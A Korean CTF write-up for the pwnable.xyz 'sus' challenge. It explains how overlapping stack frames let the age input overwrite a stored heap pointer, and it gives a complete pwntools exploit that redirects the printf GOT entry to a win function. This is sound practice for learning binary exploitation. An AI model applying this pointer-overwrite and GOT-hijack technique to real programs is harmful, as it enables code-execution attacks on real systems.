pwn/pwnable.xyz
pwnable.xyz / sus
lok2h4rd
2022. 5. 14. 13:49
스택을 잘못써서 참조하는 주소를 덮을 수 있다
user를 생성해서 이름과 나이를 입력 받고 이를 출력하고 수정할 수 있는 기능이 있다
출력 및 수정 기능은 user가 생성되었을 때만 가능하다
- create_user
- 0x1060만큼 스택을 뽑고 거기에 0x20 데이터를 쓴다
- cur에 힙 주소가 저장된 스택 주소를 저장한다
- edit user
- 0x1028만큼 스택을 뽑는다 cur에 저장된 스택 주소에 있는 힙주소에 이름을 적는다
- read_int32를 호출해서 나이를 입력 받는다
- read_int32
- 0x30을 뽑아서 0x20데이터를 쓰고 atoi로 숫자로 변환해 리턴한다
위 내용은 문제 풀때 짤막하게 정리해놓은 내용이다
핵심은 create_user에서 스택을 0x1060 뺀 위치에 힙주소를 저장하는데 해당 주소를 참조해서 이름을 적게 된다
근데 edit_user에서 0x1028만큼 스택을 빼주고 read_int32를 호출해서 나이를 입력 받을 때 해당 힙주소를 덮을 수 있다
그래서 유저 생성하고 edit에서 got주소로 힙 주소가 있는 스택을 덮고 다시 edit에서 이름을 받을때 win함수로 주면 된다
from pwn import *
p = process("./sus")
e = ELF("./sus")
printf_got = e.got['printf']
win = 0x400b71
def create(name = b"AAA", age = b"123"):
p.recvuntil(b"> ")
p.sendline(b"1")
name_age(name, age)
def edit(name, age):
p.recvuntil(b"> ")
p.sendline(b"3")
name_age(name, age)
def name_age(name, age):
p.recvuntil(b"Name: ")
p.sendline(name)
p.recvuntil(b"Age: ")
p.sendline(age)
create()
payload = b"A" * 0x10
payload += p64(printf_got)
edit(b"AAA", payload)
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"Name: ")
p.sendline(p64(win))
p.interactive()